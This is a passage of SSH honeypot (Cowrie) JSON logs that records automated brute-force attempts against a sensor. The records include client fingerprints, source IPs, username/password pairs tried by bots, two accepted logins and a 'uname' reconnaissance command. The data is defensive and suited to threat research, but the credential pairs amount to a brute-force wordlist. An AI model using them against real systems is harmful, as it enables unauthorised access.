"ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:57.345028Z","src_ip":"91.92.40.153","session":"0d924a361a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123","message":"login attempt [esuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:57.980505Z","src_ip":"160.187.174.22","session":"dccc939f4097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:58.413975Z","src_ip":"139.99.74.35","session":"7d3556002d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:58.581954Z","src_ip":"91.92.40.153","session":"0d924a361a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37816,"dst_ip":"159.203.135.109","dst_port":22,"session":"985201124d26","protocol":"ssh","message":"New connection: 139.99.74.35:37816 (159.203.135.109:22) [session: 985201124d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:58.674175Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:59.222192Z","src_ip":"160.187.174.22","session":"dccc939f4097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:59.999073Z","src_ip":"91.92.40.153","session":"0d924a361a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57694,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7320587f92f","protocol":"ssh","message":"New connection: 91.92.40.153:57694 (10.17.0.5:22) [session: b7320587f92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:03.231541Z"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:03.427189Z","src_ip":"139.99.74.35","session":"985201124d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37852,"dst_ip":"159.203.135.109","dst_port":22,"session":"7180a42d95d6","protocol":"ssh","message":"New connection: 139.99.74.35:37852 (159.203.135.109:22) [session: 7180a42d95d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:03.640060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:03.690150Z","src_ip":"91.92.40.153","session":"b7320587f92f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:03.693387Z","src_ip":"91.92.40.153","session":"b7320587f92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:05.161739Z","src_ip":"91.92.40.153","session":"b7320587f92f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:06.653750Z","src_ip":"91.92.40.153","session":"b7320587f92f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:09.052515Z","src_ip":"139.99.74.35","session":"7180a42d95d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57774,"dst_ip":"10.17.0.5","dst_port":22,"session":"38aa98ee29a7","protocol":"ssh","message":"New connection: 91.92.40.153:57774 (10.17.0.5:22) [session: 38aa98ee29a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:09.086700Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":39546,"dst_ip":"159.203.135.109","dst_port":22,"session":"941de12a084b","protocol":"ssh","message":"New connection: 139.99.74.35:39546 (159.203.135.109:22) [session: 941de12a084b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:09.288630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:09.423493Z","src_ip":"91.92.40.153","session":"38aa98ee29a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:09.426542Z","src_ip":"91.92.40.153","session":"38aa98ee29a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:11.123898Z","src_ip":"91.92.40.153","session":"38aa98ee29a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:12.779979Z","src_ip":"91.92.40.153","session":"38aa98ee29a7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:14.981862Z","src_ip":"139.99.74.35","session":"941de12a084b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:14.984751Z","src_ip":"139.99.74.35","session":"941de12a084b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34066,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7bc73d20348","protocol":"ssh","message":"New connection: 91.92.40.153:34066 (10.17.0.5:22) [session: a7bc73d20348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:15.213309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:15.459361Z","src_ip":"91.92.40.153","session":"a7bc73d20348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:15.462102Z","src_ip":"91.92.40.153","session":"a7bc73d20348","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:16.373939Z","src_ip":"91.92.40.153","session":"a7bc73d20348","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:17.283945Z","src_ip":"91.92.40.153","session":"a7bc73d20348","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:17.287263Z","src_ip":"91.92.40.153","session":"a7bc73d20348","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:17.607807Z","src_ip":"91.92.40.153","session":"a7bc73d20348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:17.612512Z","src_ip":"91.92.40.153","session":"a7bc73d20348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34118,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd51f536098d","protocol":"ssh","message":"New connection: 91.92.40.153:34118 (10.17.0.5:22) [session: fd51f536098d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:21.471382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:21.776484Z","src_ip":"91.92.40.153","session":"fd51f536098d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:21.791203Z","src_ip":"91.92.40.153","session":"fd51f536098d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57858,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ccfe99c8da","protocol":"ssh","message":"New connection: 160.187.174.22:57858 (159.203.135.109:22) [session: b6ccfe99c8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:22.379754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:22.383848Z","src_ip":"160.187.174.22","session":"b6ccfe99c8da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:22.619998Z","src_ip":"160.187.174.22","session":"b6ccfe99c8da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:22.911797Z","src_ip":"91.92.40.153","session":"fd51f536098d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:23.343994Z","src_ip":"160.187.174.22","session":"b6ccfe99c8da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:23.859803Z","src_ip":"160.187.174.22","session":"b6ccfe99c8da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:23.862921Z","src_ip":"160.187.174.22","session":"b6ccfe99c8da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:24.103828Z","src_ip":"160.187.174.22","session":"b6ccfe99c8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:24.108392Z","src_ip":"160.187.174.22","session":"b6ccfe99c8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:24.260587Z","src_ip":"91.92.40.153","session":"fd51f536098d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.666428565979,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:25.955575Z","src_ip":"170.64.224.25","session":"4c2fec880ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39084,"dst_ip":"10.17.0.5","dst_port":22,"session":"1391f5e94264","protocol":"ssh","message":"New connection: 91.92.40.153:39084 (10.17.0.5:22) [session: 1391f5e94264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:27.251075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:06:27.464853Z","src_ip":"91.92.40.153","session":"1391f5e94264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 